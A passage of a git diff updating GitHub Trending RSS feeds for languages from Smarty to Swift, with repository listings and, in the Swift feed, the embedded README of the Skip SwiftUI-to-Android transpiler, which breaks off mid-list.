100644 index 2d4a76bc345..00000000000 --- a/smarty/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Smarty Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:32Z - Weekly Trending of Smarty in GitHub - - - WebMechanix/gtm-improved-linkedin-insight-tag - 2023-10-29T02:02:32Z - tag:github.com,2023-10-29:/WebMechanix/gtm-improved-linkedin-insight-tag - - <p>An optimized (and greatly simplified) LinkedIn Insight tag template that actually works like it should. Includes support for overriding advanced conversion options not well documented by LinkedIn.</p><hr> - - \ No newline at end of file diff --git a/smpl/daily/index.xml b/smpl/daily/index.xml index dfcf58602af..47d0ba59b91 100644 --- a/smpl/daily/index.xml +++ b/smpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SmPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:05Z + 2023-10-30T01:36:18Z Daily Trending of SmPL in GitHub \ No newline at end of file diff --git a/smpl/weekly/index.xml b/smpl/weekly/index.xml deleted file mode 100644 index 205514c762f..00000000000 --- a/smpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SmPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:35Z - Weekly Trending of SmPL in GitHub - - \ No newline at end of file diff --git a/smt/daily/index.xml b/smt/daily/index.xml index 96c426779e4..5e51cd90d73 100644 --- a/smt/daily/index.xml +++ b/smt/daily/index.xml @@ -1,7 +1,7 @@ GitHub SMT Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:04Z + 2023-10-30T01:36:19Z Daily Trending of SMT in GitHub \ No newline at end of file diff --git a/smt/weekly/index.xml b/smt/weekly/index.xml deleted file mode 100644 index 537ad5e477e..00000000000 --- a/smt/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SMT Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:37Z - Weekly Trending of SMT in GitHub - - \ No newline at end of file diff --git a/solidity/daily/index.xml b/solidity/daily/index.xml index b9b703567aa..2d6d59bc598 100644 --- a/solidity/daily/index.xml +++ b/solidity/daily/index.xml @@ -1,14 +1,14 @@ GitHub Solidity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:08Z + 2023-10-30T01:36:21Z Daily Trending of Solidity in GitHub - smartcontractkit/foundry-chainlink-toolkit - 2023-10-29T01:43:08Z - tag:github.com,2023-10-29:/smartcontractkit/foundry-chainlink-toolkit - - <p>A plugin to spin up local Chainlink node with Foundry</p><hr> + SidraChain/sidra-contracts + 2023-10-30T01:36:21Z + tag:github.com,2023-10-30:/SidraChain/sidra-contracts + + <p>Genesis Smart Contracts for Sidra Chain</p><hr> \ No newline at end of file diff --git a/solidity/weekly/index.xml b/solidity/weekly/index.xml deleted file mode 100644 index 32dc989d671..00000000000 --- a/solidity/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Solidity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:40Z - Weekly Trending of Solidity in GitHub - - - yunusdefi/contract - 2023-10-29T02:02:40Z - tag:github.com,2023-10-29:/yunusdefi/contract - - <p></p><hr> - - - scroll-tech/scroll - 2023-10-29T02:02:40Z - tag:github.com,2023-10-29:/scroll-tech/scroll - - <p>Scroll's Monorepo</p><hr> - - - morpho-org/metamorpho - 2023-10-29T02:02:40Z - tag:github.com,2023-10-29:/morpho-org/metamorpho - - <p>MetaMorpho</p><hr> - - \ No newline at end of file diff --git a/soong/daily/index.xml b/soong/daily/index.xml index a9dafd4b010..8cc1339e377 100644 --- a/soong/daily/index.xml +++ b/soong/daily/index.xml @@ -1,7 +1,7 @@ GitHub Soong Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:11Z + 2023-10-30T01:36:23Z Daily Trending of Soong in GitHub \ No newline at end of file diff --git a/soong/weekly/index.xml b/soong/weekly/index.xml deleted file mode 100644 index 0db95ecc9f9..00000000000 --- a/soong/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Soong Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:41Z - Weekly Trending of Soong in GitHub - - \ No newline at end of file diff --git a/sourcepawn/daily/index.xml b/sourcepawn/daily/index.xml index 2db0d8c7460..5809678fd4b 100644 --- a/sourcepawn/daily/index.xml +++ b/sourcepawn/daily/index.xml @@ -1,7 +1,7 @@ GitHub SourcePawn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:10Z + 2023-10-30T01:36:24Z Daily Trending of SourcePawn in GitHub \ No newline at end of file diff --git a/sourcepawn/weekly/index.xml b/sourcepawn/weekly/index.xml deleted file mode 100644 index 3bf70e00060..00000000000 --- a/sourcepawn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SourcePawn Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:44Z - Weekly Trending of SourcePawn in GitHub - - \ No newline at end of file diff --git a/sparql/daily/index.xml b/sparql/daily/index.xml index e3c1b10dd50..cd09ca464af 100644 --- a/sparql/daily/index.xml +++ b/sparql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SPARQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:12Z + 2023-10-30T01:36:24Z Daily Trending of SPARQL in GitHub \ No newline at end of file diff --git a/sparql/weekly/index.xml b/sparql/weekly/index.xml deleted file mode 100644 index e9311520d5b..00000000000 --- a/sparql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SPARQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:42Z - Weekly Trending of SPARQL in GitHub - - \ No newline at end of file diff --git a/spline-font-database/daily/index.xml b/spline-font-database/daily/index.xml index 8ffbe42f431..5449790c444 100644 --- a/spline-font-database/daily/index.xml +++ b/spline-font-database/daily/index.xml @@ -1,7 +1,7 @@ GitHub Spline Font Database Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:09Z + 2023-10-30T01:36:22Z Daily Trending of Spline Font Database in GitHub \ No newline at end of file diff --git a/spline-font-database/weekly/index.xml b/spline-font-database/weekly/index.xml deleted file mode 100644 index 6f56d188141..00000000000 --- a/spline-font-database/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Spline Font Database Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:43Z - Weekly Trending of Spline Font Database in GitHub - - \ No newline at end of file diff --git a/sqf/daily/index.xml b/sqf/daily/index.xml index 8ac10d83c62..354b4e893ed 100644 --- a/sqf/daily/index.xml +++ b/sqf/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:13Z + 2023-10-30T01:36:26Z Daily Trending of SQF in GitHub \ No newline at end of file diff --git a/sqf/weekly/index.xml b/sqf/weekly/index.xml deleted file mode 100644 index b8186e03229..00000000000 --- a/sqf/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQF Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:45Z - Weekly Trending of SQF in GitHub - - \ No newline at end of file diff --git a/sql/daily/index.xml b/sql/daily/index.xml index 15b179e1272..fef0d3745f9 100644 --- a/sql/daily/index.xml +++ b/sql/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:15Z + 2023-10-30T01:36:28Z Daily Trending of SQL in GitHub \ No newline at end of file diff --git a/sql/weekly/index.xml b/sql/weekly/index.xml deleted file mode 100644 index e3c45e0f1f4..00000000000 --- a/sql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:46Z - Weekly Trending of SQL in GitHub - - \ No newline at end of file diff --git a/sqlpl/daily/index.xml b/sqlpl/daily/index.xml index 5f89afedcd5..911f2ca2d85 100644 --- a/sqlpl/daily/index.xml +++ b/sqlpl/daily/index.xml @@ -1,7 +1,7 @@ GitHub SQLPL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:14Z + 2023-10-30T01:36:27Z Daily Trending of SQLPL in GitHub \ No newline at end of file diff --git a/sqlpl/weekly/index.xml b/sqlpl/weekly/index.xml deleted file mode 100644 index 5539da5f0b3..00000000000 --- a/sqlpl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SQLPL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:47Z - Weekly Trending of SQLPL in GitHub - - \ No newline at end of file diff --git a/squirrel/daily/index.xml b/squirrel/daily/index.xml index 2bffdbc8c87..b842ee4e0d3 100644 --- a/squirrel/daily/index.xml +++ b/squirrel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Squirrel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:16Z + 2023-10-30T01:36:26Z Daily Trending of Squirrel in GitHub \ No newline at end of file diff --git a/squirrel/weekly/index.xml b/squirrel/weekly/index.xml deleted file mode 100644 index d592f387e95..00000000000 --- a/squirrel/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Squirrel Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:47Z - Weekly Trending of Squirrel in GitHub - - \ No newline at end of file diff --git a/srecode-template/daily/index.xml b/srecode-template/daily/index.xml index af8c6f415bc..ddda39e66a2 100644 --- a/srecode-template/daily/index.xml +++ b/srecode-template/daily/index.xml @@ -1,7 +1,7 @@ GitHub SRecode Template Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:17Z + 2023-10-30T01:36:29Z Daily Trending of SRecode Template in GitHub \ No newline at end of file diff --git a/srecode-template/weekly/index.xml b/srecode-template/weekly/index.xml deleted file mode 100644 index ec6f56f3528..00000000000 --- a/srecode-template/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SRecode Template Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:49Z - Weekly Trending of SRecode Template in GitHub - - \ No newline at end of file diff --git a/ssh-config/daily/index.xml b/ssh-config/daily/index.xml index 7860e03e180..412a9104ee5 100644 --- a/ssh-config/daily/index.xml +++ b/ssh-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub SSH Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:19Z + 2023-10-30T01:36:30Z Daily Trending of SSH Config in GitHub \ No newline at end of file diff --git a/ssh-config/weekly/index.xml b/ssh-config/weekly/index.xml deleted file mode 100644 index e41dbe117ba..00000000000 --- a/ssh-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SSH Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:50Z - Weekly Trending of SSH Config in GitHub - - \ No newline at end of file diff --git a/stan/daily/index.xml b/stan/daily/index.xml index e82214c4239..ba6049c57cd 100644 --- a/stan/daily/index.xml +++ b/stan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:19Z + 2023-10-30T01:36:31Z Daily Trending of Stan in GitHub \ No newline at end of file diff --git a/stan/weekly/index.xml b/stan/weekly/index.xml deleted file mode 100644 index 1d7e53f063b..00000000000 --- a/stan/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Stan Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:49Z - Weekly Trending of Stan in GitHub - - \ No newline at end of file diff --git a/standard-ml/daily/index.xml b/standard-ml/daily/index.xml index 07e4af8df07..1b1dfde302c 100644 --- a/standard-ml/daily/index.xml +++ b/standard-ml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Standard ML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:18Z + 2023-10-30T01:36:30Z Daily Trending of Standard ML in GitHub \ No newline at end of file diff --git a/standard-ml/weekly/index.xml b/standard-ml/weekly/index.xml deleted file mode 100644 index 45de5e41c2a..00000000000 --- a/standard-ml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Standard ML Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:51Z - Weekly Trending of Standard ML in GitHub - - \ No newline at end of file diff --git a/starlark/daily/index.xml b/starlark/daily/index.xml index b7bf7dafba4..1d8b3fda02f 100644 --- a/starlark/daily/index.xml +++ b/starlark/daily/index.xml @@ -1,7 +1,14 @@ GitHub Starlark Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:25Z + 2023-10-30T01:36:35Z Daily Trending of Starlark in GitHub + + galenmarchetti/jupyter-notebook-package + 2023-10-30T01:36:35Z + tag:github.com,2023-10-30:/galenmarchetti/jupyter-notebook-package + + <p>A Kurtosis package for Python data engineers, deploying a Jupyter notebook along with a configurable set of databases, and a visualization tool (Streamlit)</p><hr> + \ No newline at end of file diff --git a/starlark/weekly/index.xml b/starlark/weekly/index.xml deleted file mode 100644 index 1a10be140c7..00000000000 --- a/starlark/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Starlark Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:57Z - Weekly Trending of Starlark in GitHub - - - trpc-group/trpc - 2023-10-29T02:02:57Z - tag:github.com,2023-10-29:/trpc-group/trpc - - <p>A multi-language, pluggable, high-performance RPC framework</p><hr> - - - kurtosis-tech/ethereum-package - 2023-10-29T02:02:57Z - tag:github.com,2023-10-29:/kurtosis-tech/ethereum-package - - <p>A Kurtosis package that deploys a private, portable, and modular Ethereum devnet</p><hr> - - \ No newline at end of file diff --git a/stata/daily/index.xml b/stata/daily/index.xml index 98c6ea6aed2..0fc1d7e15ff 100644 --- a/stata/daily/index.xml +++ b/stata/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stata Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:22Z + 2023-10-30T01:36:33Z Daily Trending of Stata in GitHub \ No newline at end of file diff --git a/stata/weekly/index.xml b/stata/weekly/index.xml deleted file mode 100644 index a9f72101659..00000000000 --- a/stata/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Stata Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:52Z - Weekly Trending of Stata in GitHub - - \ No newline at end of file diff --git a/ston/daily/index.xml b/ston/daily/index.xml index 1b8ab7947ac..0e09ac314d7 100644 --- a/ston/daily/index.xml +++ b/ston/daily/index.xml @@ -1,7 +1,7 @@ GitHub STON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:28Z + 2023-10-30T01:36:36Z Daily Trending of STON in GitHub \ No newline at end of file diff --git a/ston/weekly/index.xml b/ston/weekly/index.xml deleted file mode 100644 index 39f980d0910..00000000000 --- a/ston/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub STON Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:59Z - Weekly Trending of STON in GitHub - - \ No newline at end of file diff --git a/stringtemplate/daily/index.xml b/stringtemplate/daily/index.xml index 4efda56c4fd..abf0379cc81 100644 --- a/stringtemplate/daily/index.xml +++ b/stringtemplate/daily/index.xml @@ -1,7 +1,7 @@ GitHub StringTemplate Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:29Z + 2023-10-30T01:36:38Z Daily Trending of StringTemplate in GitHub \ No newline at end of file diff --git a/stringtemplate/weekly/index.xml b/stringtemplate/weekly/index.xml deleted file mode 100644 index 38a5739c99d..00000000000 --- a/stringtemplate/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub StringTemplate Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:58Z - Weekly Trending of StringTemplate in GitHub - - \ No newline at end of file diff --git a/stylus/daily/index.xml b/stylus/daily/index.xml index d93be12c9ae..8470545624e 100644 --- a/stylus/daily/index.xml +++ b/stylus/daily/index.xml @@ -1,7 +1,7 @@ GitHub Stylus Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:27Z + 2023-10-30T01:36:39Z Daily Trending of Stylus in GitHub \ No newline at end of file diff --git a/stylus/weekly/index.xml b/stylus/weekly/index.xml deleted file mode 100644 index 7ff7e487105..00000000000 --- a/stylus/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Stylus Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:01Z - Weekly Trending of Stylus in GitHub - - \ No newline at end of file diff --git a/subrip-text/daily/index.xml b/subrip-text/daily/index.xml index 6770b4569b3..77759a1d561 100644 --- a/subrip-text/daily/index.xml +++ b/subrip-text/daily/index.xml @@ -1,7 +1,7 @@ GitHub SubRip Text Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:26Z + 2023-10-30T01:36:37Z Daily Trending of SubRip Text in GitHub \ No newline at end of file diff --git a/subrip-text/weekly/index.xml b/subrip-text/weekly/index.xml deleted file mode 100644 index 9812e5f7035..00000000000 --- a/subrip-text/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SubRip Text Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:00Z - Weekly Trending of SubRip Text in GitHub - - \ No newline at end of file diff --git a/sugarss/daily/index.xml b/sugarss/daily/index.xml index d374b4c37ad..2ed5713785b 100644 --- a/sugarss/daily/index.xml +++ b/sugarss/daily/index.xml @@ -1,7 +1,7 @@ GitHub SugarSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:32Z + 2023-10-30T01:36:40Z Daily Trending of SugarSS in GitHub \ No newline at end of file diff --git a/sugarss/weekly/index.xml b/sugarss/weekly/index.xml deleted file mode 100644 index 64b6caec67a..00000000000 --- a/sugarss/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SugarSS Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:03Z - Weekly Trending of SugarSS in GitHub - - \ No newline at end of file diff --git a/supercollider/daily/index.xml b/supercollider/daily/index.xml index fe219ad76a6..2c304d1e8ba 100644 --- a/supercollider/daily/index.xml +++ b/supercollider/daily/index.xml @@ -1,7 +1,7 @@ GitHub SuperCollider Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:30Z + 2023-10-30T01:36:41Z Daily Trending of SuperCollider in GitHub \ No newline at end of file diff --git a/supercollider/weekly/index.xml b/supercollider/weekly/index.xml deleted file mode 100644 index ee03e31e57b..00000000000 --- a/supercollider/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SuperCollider Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:02Z - Weekly Trending of SuperCollider in GitHub - - \ No newline at end of file diff --git a/svelte/daily/index.xml b/svelte/daily/index.xml index 53947c04676..60e6b383e8e 100644 --- a/svelte/daily/index.xml +++ b/svelte/daily/index.xml @@ -1,21 +1,7 @@ GitHub Svelte Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:35Z + 2023-10-30T01:36:43Z Daily Trending of Svelte in GitHub - - sebastiandedeyne/sveltebyexample.com - 2023-10-29T01:43:35Z - tag:github.com,2023-10-29:/sebastiandedeyne/sveltebyexample.com - - <p>Svelte by Example is a succinct, gentle introduction to Svelte & SvelteKit to peak your curiosity.</p><hr> - - - matfantinel/sveltekit-static-blog-template - 2023-10-29T01:43:35Z - tag:github.com,2023-10-29:/matfantinel/sveltekit-static-blog-template - - <p>A lightweight and customizable template for blogs and portfolio websites, built with SvelteKit.</p><hr> - \ No newline at end of file diff --git a/svelte/weekly/index.xml b/svelte/weekly/index.xml deleted file mode 100644 index d8c7a8f10df..00000000000 --- a/svelte/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Svelte Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:06Z - Weekly Trending of Svelte in GitHub - - - ollama-webui/ollama-webui - 2023-10-29T02:03:06Z - tag:github.com,2023-10-29:/ollama-webui/ollama-webui - - <p>ChatGPT-Style Responsive Chat Web UI Client (GUI) for Ollama 🦙</p><hr> - - - osc-vitap/OpenSource101 - 2023-10-29T02:03:06Z - tag:github.com,2023-10-29:/osc-vitap/OpenSource101 - - <p>This is a starter repository made specifically so we can help you get your first pull request and learn the basics of Git and GitHub.</p><hr> - - - techniq/svelte-ux - 2023-10-29T02:03:06Z - tag:github.com,2023-10-29:/techniq/svelte-ux - - <p>Collection of Svelte components, actions, stores, and utilities to build highly interactive applications.</p><hr> - - \ No newline at end of file diff --git a/svg/daily/index.xml b/svg/daily/index.xml index e78e45cdb86..6ba9f918af4 100644 --- a/svg/daily/index.xml +++ b/svg/daily/index.xml @@ -1,7 +1,7 @@ GitHub SVG Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:35Z + 2023-10-30T01:36:43Z Daily Trending of SVG in GitHub \ No newline at end of file diff --git a/svg/weekly/index.xml b/svg/weekly/index.xml deleted file mode 100644 index 9385e33eddf..00000000000 --- a/svg/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub SVG Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:03:06Z - Weekly Trending of SVG in GitHub - - \ No newline at end of file diff --git a/swift/daily/index.xml b/swift/daily/index.xml index f674e313b72..9382ea949dc 100644 --- a/swift/daily/index.xml +++ b/swift/daily/index.xml @@ -1,7 +1,21 @@ GitHub Swift Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:43Z + 2023-10-30T01:36:49Z Daily Trending of Swift in GitHub + + skiptools/skip + 2023-10-30T01:36:49Z + tag:github.com,2023-10-30:/skiptools/skip + + <p>Skip transpiler for converting SwiftUI iOS apps into Android Kotlin Compose apps</p><hr><h1>Skip</h1> <p>Skip is a technology for creating dual-platform mobile apps in Swift. <a href="https://skip.tools/docs/">Read this introduction</a> to learn more about Skip.</p> <p>This repository hosts the Skip development toolchain, a.k.a. SkipStone. It also hosts the Skip forums for general <a href="https://source.skip.tools/skip/discussions">discussions</a> as well as specific <a href="https://source.skip.tools/skip/issues">issues and bug reports</a>.</p> <h2>Getting Started</h2> <h3>System Requirements</h3> <p>Skip requires a macOS 13 development machine with <a href="https://developer.apple.com/xcode">Xcode 15</a>, <a href="https://developer.android.com/studio">Android Studio 2023</a>, and <a href="https://brew.sh">Homebrew</a> installed.</p> <h3>Installation</h3> <p>Install Skip by running the Terminal command:</p> <pre><code class="language-shell">brew install skiptools/skip/skip </code></pre> <p>This will download and install the <code>skip</code> tool itself, as well as the <code>gradle</code> and JDK dependencies that are necessary for building and testing the Kotlin/Android side of your apps. Note: If you don't already have a compatible JDK+ installed on your machine, you may need to enter an administrator password to complete the installation.</p> <p>Ensure that the development prerequisites are satisfied by running:</p> <pre><code class="language-plaintext">skip checkup </code></pre> <img alt="Screenshot of terminal skip checkup command output" src="https://assets.skip.tools/intro/skip_checkup.png" style="width: 100%;"> <p>If the checkup passes, you're ready to start developing with Skip!</p> <h2>Creating an App {#app_development}</h2> <p>Create a new app project with the command:</p> <pre><code class="language-plaintext">skip init --open-xcode --appid=bundle.id project-name AppName </code></pre> <p>For example:</p> <pre><code class="language-plaintext">skip init --open-xcode --appid=com.xyz.HelloSkip hello-skip HelloSkip </code></pre> <img alt="Screenshot of terminal skip init command output" src="https://assets.skip.tools/intro/skip_init.png" style="width: 100%;"> <p>This will create a <code>hello-skip/</code> folder with a new SwiftPM package containing a single module named <code>HelloSkip</code>, along with a <code>HelloSkip.xcodeproj</code> project with a <code>HelloSkipApp</code> target and an <code>.xcconfig</code> file specifying the app's name, bundle identifier, and other customizable metadata.</p> <p>Xcode will open the new project, but before you can build and launch the transpiled app, an Android emulator needs to be running. Launch <code>Android Studio.app</code> and open the <code>Virtual Device Manager</code> from the ellipsis menu of the Welcome dialog. From there, <code>Create Device</code> (e.g., "Pixel 6") and then <code>Launch</code> the emulator.</p> <img alt="Screenshot of the Android Studio Device Manager" src="https://assets.skip.tools/intro/device_manager.png" style="width: 100%;"> <p>Once the Android emulator is running, select and run the <code>HelloSkipApp</code> target in Xcode. The first build will take some time to compile the Skip libraries, and you may be prompted with a dialog to affirm that you trust the Skip plugin. Once the build and run action completes, the SwiftUI app will open in the selected iOS simulator, and at the same time the transpiled app will launch in the currently-running Android emulator.</p> <img alt="Screenshot of Skip running in both the iOS Simulator and Android Emulator" src="https://assets.skip.tools/intro/skip_xcode.png" style="width: 100%;"> <p>Browse to the <code>ContentView.swift</code> file and make a small change and re-run the target: the app will be re-built and re-run on both platforms simultaneously with your changes.</p> <p>See the product <a href="https://skip.tools/docs">documentation</a> for further information developing with Skip. Happy Skipping!</p> <h3>Creating a Multi-Module App</h3> <p>Skip is designed to accommodate and encourage using multi-module projects. The default <code>skip init</code> command creates a single-module app for simplicity, but you can create a modularized project by specifying additional module names at the end of the chain. For example:</p> <pre><code class="language-shell">skip init --open-xcode --appid=com.xyz.HelloSkip multi-project HelloSkip HelloModel HelloCore </code></pre> <p>This command will create a SwiftPM project with three modules: <code>HelloSkip</code>, <code>HelloModel</code>, and <code>HelloCore</code>. The heuristics of such module creation is that the modules will all be dependent on their subsequent peer module, with the first module (<code>HelloSkip</code>) having an initial dependency on <code>SkipUI</code>, the second module depending on <code>SkipModel</code>, and the final module in the chain depending on <code>SkipFoundation</code>. The <code>Package.swift</code> file can be manually edited to shuffle around dependencies, or to add new dependencies on external Skip frameworks such as the nascent <a href="https://source.skip.tools/skip-sql">SkipSQL</a> or <a href="https://source.skip.tools/skip-xml">SkipXML</a> libraries.</p> <h2>Creating a Dual-Platform Framework {#framework_development}</h2> <p>Skip library projects are pure SwiftPM packages that encapsulate common functionality. Each of the core Skip compatibility frameworks (<a href="https://source.skip.tools/skip-lib">skip-lib</a>, <a href="https://source.skip.tools/skip-unit">skip-unit</a>, <a href="https://source.skip.tools/skip-foundation">skip-foundation</a>, and <a href="https://source.skip.tools/skip-ui">skip-ui</a>) are Skip library projects. Other commonly-used projects include <a href="https://source.skip.tools/skip-sql">skip-sql</a>, <a href="https://source.skip.tools/skip-script">skip-script</a>, and <a href="https://source.skip.tools/skip-zip">skip-zip</a>.</p> <p>A new library can be created and opened with:</p> <pre><code class="language-shell">skip init --build --test lib-name ModuleName </code></pre> <p>This will create a new <code>lib-name</code> folder containing a <code>Package.swift</code> with targets of <code>ModuleName</code> and <code>ModuleNameTests</code>.</p> <p>This project can be opened in Xcode.app, which you can use to build and run the unit tests. Running <code>swift build</code> and <code>swift test</code> from the Terminal can also be used for headless testing as part of a continuous integration process.</p> <h3>Skip Project structure</h3> <pre><code class="language-shell">lib-name ├── Package.resolved ├── Package.swift ├── README.md ├── Sources │&nbsp;&nbsp; └── ModuleName │&nbsp;&nbsp; ├── ModuleName.swift │&nbsp;&nbsp; ├── Resources │&nbsp;&nbsp; │&nbsp;&nbsp; └── Localizable.xcstrings │&nbsp;&nbsp; └── Skip │&nbsp;&nbsp; └── skip.yml └── Tests └── ModuleNameTests ├── ModuleNameTests.swift ├── Resources │&nbsp;&nbsp; └── TestData.json ├── Skip │&nbsp;&nbsp; └── skip.yml └── XCSkipTests.swift </code></pre> <h3>Skip Package.swift structure</h3> <pre><code class="language-swift">// swift-tools-version: 5.8 import PackageDescription let package = Package( name: "lib-name", defaultLocalization: "en", platforms: [.iOS(.v16), .macOS(.v13), .tvOS(.v16), .watchOS(.v9), .macCatalyst(.v16)], products: [ .library(name: "ModuleName", targets: ["ModuleName"]), ], dependencies: [ .package(url: "https://source.skip.tools/skip.git", from: "0.7.14"), .package(url: "https://source.skip.tools/skip-foundation.git", from: "0.0.0"), ], targets: [ .target(name: "ModuleName", plugins: [.plugin(name: "skipstone", package: "skip")]), .testTarget(name: "ModuleNameTests", dependencies: ["ModuleName"], plugins: [.plugin(name: "skipstone", package: "skip")]), ] ) </code></pre> <h2>Troubleshooting</h2> <p>Skip's architecture relies on recent advances in the plugin system used by Xcode 15 and Swift Package Manager 5.9. When unexpected issues arise, often the best first step is to clean your Xcode build (<code>Product</code> → <code>Clean Build Folder</code>) and reset packages (<code>File</code> → <code>Packages</code> → <code>Reset Package Caches</code>). Restarting Xcode is sometimes warranted, and trashing the local <code>DerivedData/</code> folder might even be needed.</p> <p>Specific known error conditions are listed below. Search the <a href="https://skip.tools/docs">documentation</a>, <a href="https://source.skip.tools/skip/issues">issues</a>, and <a href="https://source.skip.tools/skip/discussions">discussions</a> for more information and to report problems.</p> <ul> <li> <p>Xcode sometimes reports error messages like the following:</p> <pre><code class="language-shell">Internal inconsistency error (didStartTask): targetID (174) not found in _activeTargets. Internal inconsistency error (didEndTask): '12' missing from _activeTasks. </code></pre> <p>When these errors occur, the build appears to complete successfully although changes are not applied. Unfortunately, this is an Xcode bug. We have found the following workarounds:</p> <ul> <li>Continue to retry the build. Eventually Xcode may complete successfully, although the errors often continue to become more frequent until you are forced to apply one of the other solutions below.</li> 